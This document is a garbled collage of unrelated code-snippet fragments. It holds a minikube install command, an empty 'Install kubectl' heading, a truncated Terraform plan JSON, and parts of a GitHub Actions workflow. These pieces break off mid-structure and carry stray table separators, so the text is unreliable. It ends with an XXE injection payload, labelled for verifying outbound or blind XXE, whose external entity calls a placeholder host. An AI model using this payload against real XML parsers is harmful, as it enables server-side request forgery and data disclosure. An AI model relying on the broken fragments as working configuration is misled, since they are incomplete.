Install minikube:
# curl -Lo minikube https://storage.googleapis.com/minikube/releases/v0.18.0/minikube-linux-amd64 && chmod +x minikube && sudo mv minikube /usr/local/bin/
Install kubectl:
| { | |
| "format_version": "1.1", | |
| "terraform_version": "1.4.0", | |
| "planned_values": { | |
| "root_module": { | |
| "resources": [ | |
| { | |
| "address": "aws_s3_bucket.aladdin_kknQCCUN7N9XM45", | |
| "mode": "managed", | |
| "type": "aws_s3_bucket", |
| name: Combined Workflows | |
| on: | |
| push: | |
| branches: [ "main" ] | |
| pull_request: | |
| branches: [ "main" ] | |
| permissions: | |
| contents: read |
| - name: Terraform Plan | |
| id: plan | |
| working-directory: ${{ env.ROOT_MODULE_PATH }} | |
| # have to use /bin/bash because GHA runs by default with `set -e` to end execution on any error. | |
| # we want to capture the error instead. | |
| shell: "/bin/bash {0}" | |
| run: | | |
| set +e | |
| terraform plan -out tfplan -detailed-exitcode > plan_output.txt 2>&1 | |
| EXIT_CODE=$? |
| -------------------------------------------------------------- | |
| Vanilla, used to verify outbound xxe or blind xxe | |
| -------------------------------------------------------------- | |
| <?xml version="1.0" ?> | |
| <!DOCTYPE r [ | |
| <!ELEMENT r ANY > | |
| <!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt"> | |
| ]> | |
| <r>&sp;</r> |